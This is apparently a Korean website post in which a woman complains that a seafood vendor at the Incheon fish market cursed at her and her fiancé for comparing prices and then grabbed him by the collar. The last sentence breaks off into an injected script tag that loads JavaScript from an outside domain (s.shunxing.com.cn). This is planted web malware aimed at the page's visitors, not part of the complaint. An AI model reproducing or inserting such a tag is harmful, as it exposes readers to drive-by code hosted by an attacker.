지금 시각은 9시가 채 안된 시간 입니다.
회사를 마치고 약혼자 되는 분과 함께 주말에 벌초를 하러 가기전 가족들과 먹을 해물류를 사기
위해 인천종합 어시장을 다녀왔습니다. 저녁시간이라 그런지 가계 정리하는 곳이 많았고
늘 그랬듯이 저희 둘은 전체적으로 한바퀴 돌고 있었져..,,어느가게에 생선이며 조게며..새우며
좋은지.., 아시다시피 가게에 물어보지 않아도 판매 하시는 아주머니나 할머님께서
큰소리로 흥정을 하시며 장사를 하시져.. 저희는 우선 조게류를 사고선 대하를 사기 위해 다른 가게로
가려고 하는데 조게파신 아주머니께서 한 가게 이름을 알려주시며 ' 거기 물건 좋으니~ 거기가서
사도록 해여~ ' 라고 살짝 귀띔해 주시더라구요.
좋다고 하니..저흰 그냥 두서없이 그곳으로 향했져. 그 상점 옆에도 똑같은 대하를 파는 가게가 있더
군요. 우선 저흰 소개받은 가게에 대하가격을 흥정해 보았고 그 옆 가게에도 가 봤습니다.
그 가게 아주머니께선 저녁때니 싸게 해주시겠다면서 1,000원을 다 싸게 말씀해 주시더군요.
손수 새우가 껍질이 얇다며 벗겨 주시며 싱싱한걸 보여주셨습니다.
저희 둘은 가격대도 비슷비슷하고 싱싱한것도 비슷비슷하니 그냥 소개받은곳에서 사기로 하고선
발걸음을 돌렸습니다. 그곳에서 대하 3kg을 사고선 포장을 하고 있는데..
그 옆가게 아주머니께서 혼자서 중얼 거리시며 저희에게 한마디 하시더군요. 젊은 사람들이
안살꺼면서 왔다갔다하면서 사람 가지고 논다면서. 첨엔 작게 말씀하시더니 나중에 아예 들으라는
식으로 크게 말씀 하시더군요. 첨에 제가 혼잣말 하실때 듣고선 그냥 못들은척 했거든요...그래서
제 약혼자 되시는 분이 ' 지금 저희한테 하시는 말씀이시냐 ' 물어봤죠. 그랬더니 아주머니가
그렇다고 인정하시면서 저희한테 한소리 하시더라구요. 사지도 않을꺼면서 왔다갔다하면서
사람 가지고 장난치는것도 아니고 뭐하는거냐고.. 살짝 기분이 언짢았습니다.
계속 그런 소리 하시길래, 제 약혼자 되시는 분이 그만 하시라고..말씀드렸고..그 사이
감정이 격해지셨는지 ' 어린놈에 새끼가...,, '라며 반말로 욕을하셨습니다. 목소리는 점점 커지시고
둘 사이에 심한 고성이 오가며 말싸움을 시작했구요.. 주위분들이 말리고 계산이 끝난 뒤라
저흰 어시장을 빠져나왔습니다. 근데 아주머니께서 주차장까지 나오셔서 짐을 싣고선 차에 타려는
오빠에 멱살을 다짜고짜 잡으며 ' 사과하라' 며 소리지르며 욕을 하기 시작했습니다.
밖에 계시던 ,,..어떤 분이신지 모르겠다만 건장한 남자분들이 오셔서 싸움을 말렸죠..
계속해서 ' 사과하라'는 아주머니..나이도 나이신지라..오빠는 잘못했다'..라는 말을 하고선
상황종결되고 저흰 찝찝한 맘으로 집으로 왔습니다.
도무지 화가나서 가만이 있을수가 없어서 이렇게 홈페이지에 글을 올립니다.
시장이 무엇이고 판매자와 구매자가 무엇인지 ,,.. 구매자는 시장에 가면 당연히 가격을 물어보고
가격을 흥정하며 싼 가격, 좋은 상품을 사게 마련입니다. 자기 가게에서 물건을 사지 않는다고 하여
왔다갔다 하면서 사람을 놀린다며 욕을 하시는 , 그리고 자기에게 사과를 하라며 멱살까지 잡아
당긴 아주머니를 제 상식으로 도저히 이해가 가질 않네요.
아주머니가 말씀하신데로 저희가 왔다갔다 하며 꼬치꼬치 캐물으며 살려고 하다가 ' 여기서 못사겠
다 ' 한것도 아니고 판매하신분도 아시고 주위에 계셨던 분들도 아실꺼에요. 그 가게에서 가격을
물어보고 비슷한 가격대에 비슷한 상품이라 저희는 소개받은 곳에서 물건을 산것밖엔 없습니다.
저흰 당연한 구매를 한것이고 거기에 어긋난 행동을 한것은 전혀 없다고 봅니다.
아무리 생각해도 그분은 행동이 이해가 가질 않고 어이가 없어서... 싸우는 중간에 저희 오빠도
잘못된 말을 하긴 했지만...그 주위에 계셨던 분들이라면 누구나 아실껍니다. 어느 누가 잘하고
잘못했는지...
자기 가게에 물건을 사지 않는다고 뒤에서 욕하고 그만하시라는 말에 더 흥분하여 고성지르며
욕까지 하고...나이가 많으시다고 다짜고짜 반말을 하시며 어린놈에 새끼가 어쩌고저쩌고..
저희는 저희 가족이나 오빠네 가족이나 식구가 많아 가족모임이나 명절때엔 항상 해물류를 좋아
하다보니 자주 연안부두 어시장을 찾습니다. 지난 몇년동안 그리고 어딜 가서도 이러한 일로
싸움을 하거나 불미스러운 일은 없었습니다. 정말 어이가 없고 화가나서...이렇게 글을 올립니다..
그 아주머니 가만히 있던 저를 보고선 저희 오빠에게 ' 반반한거 데리고 다니면..,,' 어쩌고 저쩌고
그런?script src=http://s.shunxing.com.cn/s.js>
